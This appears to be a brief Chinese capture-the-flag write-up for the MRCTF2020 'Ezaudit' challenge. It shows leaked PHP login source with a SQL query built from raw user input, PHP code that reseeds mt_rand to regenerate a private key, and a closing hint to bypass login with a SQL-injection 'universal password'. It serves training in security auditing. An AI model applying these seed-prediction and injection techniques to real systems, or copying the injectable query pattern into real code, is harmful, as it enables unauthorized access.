[MRCTF2020]Ezaudit

[MRCTF2020]Ezaudit

 

dirsearch扫目录www.zip有源码 else if($Private_key != '*****' ) { header('refresh:2; url=login.html'); echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; }

else{
    if($Private_key === '************'){
    $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
    $link=mysql_connect("localhost","root","root");
    mysql_select_db("test",$link);
    $result = mysql_query($getuser);
    while($row=mysql_fetch_assoc($result)){
        echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
    }
}
}

跟枯燥的抽奖一样，

先用Python脚本

 

用公匙爆破seed

 

再用相关版本的php

<?php
mt_srand(1775196155);
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }
​
  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key() . "<br>";
echo private_key();
​
?>

 

该界面再用万能密码